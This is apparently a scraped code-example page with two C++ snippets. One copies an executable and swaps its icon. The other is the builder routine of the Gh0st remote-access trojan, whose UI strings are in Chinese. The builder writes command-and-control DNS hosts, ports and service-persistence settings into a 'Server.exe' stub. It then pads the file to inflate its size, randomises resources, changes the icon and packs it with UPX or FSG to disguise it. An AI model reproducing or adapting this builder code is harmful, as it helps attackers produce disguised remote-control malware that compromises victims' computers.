int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{

	CString strFilePath;
	strFilePath.Format(L"C:\\ADShow%d.exe",GetTickCount());

	DeleteFile(strFilePath);
	CopyFile(L"C:\\ADShow - 副本.exe",strFilePath,FALSE);

	ChangeExeIcon(strFilePath,L"C:\\tv2345.ico",101);
	ChangeExeIcon(strFilePath,L"C:\\newicon.ico",101);


	return (int) 0;
}
Exemplo n.º 2
0
void CBuild::OnBuild() 
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);

// 	CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL);
// 	if(dlg.DoModal () != IDOK)

	if(strHost.IsEmpty()||m_group.IsEmpty()||m_version.IsEmpty())
	{
		MessageBox("DNS、分组、版本不能为空!");
		return;
	}

	if(m_service_name.IsEmpty()||m_service_dis.IsEmpty()||m_service_des.IsEmpty())
	{
		MessageBox("请将服务信息填写完整");
		return;
	}

	ZeroMemory(&modify_data,sizeof(MODIFY_DATA));
	modify_data.dwPortA =(WORD)m_port1;
	modify_data.dwPortB =(WORD)m_port2;
    modify_data.bRunOnce = bOnce;
	modify_data.bDelete = m_del;
	strcpy(modify_data.szDnsA,strHost.GetBuffer(0));
	strcpy(modify_data.szDnsB,m_dns2.GetBuffer(0));
	strcpy(modify_data.szVersion,m_version.GetBuffer(0));
	strcpy(modify_data.szPross,m_process.GetBuffer(0));
	strcpy(modify_data.szGroup,m_group.GetBuffer(0));
 
	if (!modify_data.bRunOnce)
	{
		ZeroMemory(&service_data,sizeof(SERVICE_DATA));
		strcpy(service_data.ws_svcname,m_service_name.GetBuffer(0));
		strcpy(service_data.ws_svcdisplay,m_service_dis.GetBuffer(0));
		strcpy(service_data.ws_svcdesc,m_service_des.GetBuffer(0));
    }

	CopyFile(CClientApp::szDatPath,szFileName,FALSE);
// 	CopyFile(TmpPath1,szFileName,FALSE);
	//写入配置信息
    CreateServer(&service_data,&modify_data,szFileName);

	//增大体积
	if(m_big)
	{
		DWORD dwTmp;
		HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		SetFilePointer( hFile, 0, NULL, FILE_END );
		int i = 0;
		char * BigCode=new char[1024*1024];
		while(i < 5)
		{
			WriteFile(hFile,BigCode,1024*1024, &dwTmp, NULL);
			i++;
		}
		delete[] BigCode;
		CloseHandle(hFile);
	}
	//随机资源
	if(m_suiji)
	{
		Suiji(szFileName);
	}
    //生成图标
	CString szIconPath;
	GetDlgItemText(IDC_ICO,szIconPath);
	if (szIconPath!="")
	{
		ChangeExeIcon(szIconPath,szFileName);
	}

	//压缩模式
	switch(CompressType)
	{
	case 2:
		CompressUpx();
		break;
	case 3:
		CompressFsg();
		break;
	default:
		break;
	}
	::MessageBox(NULL, _T("服务端Server.exe生成完毕!\n\n如果您修改了程序图标,若没找到Server.exe\n\n那可能保存在ICO图标文件夹内"), _T("Gh0st提示您"),MB_OK); 
//	::MessageBox(NULL, _T("服务端Server.exe生成完毕!"), _T("Gh0st提示您"),MB_OK); 
//  	 char ShowText[200];
// 	 wsprintf(ShowText,"%s%s","服务端已生成到:",dlg.GetPathName());
// 	 MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK);


	//保存配置信息
	if (m_save)
	{
// 		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "DnsA", m_dns1);
// 		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "DnsB", m_dns2);
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Group", m_group);
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Version", m_version);
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Process", m_process);
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceName", m_service_name);
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceDescription", m_service_des);	
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceDisplayName", m_service_dis);	
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "PortA", m_port1);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "PortB", m_port2);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Big", m_big);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Delete", m_del);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Save", m_save);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Suiji", m_suiji);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Kill", m_kill);
		((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "check_process", m_check_process);
        SetDlgItemText(IDC_STATIC_TIPS, "保存配置信息成功!");
	}

	DeleteFile(TmpPath1);
	OnExit1();
}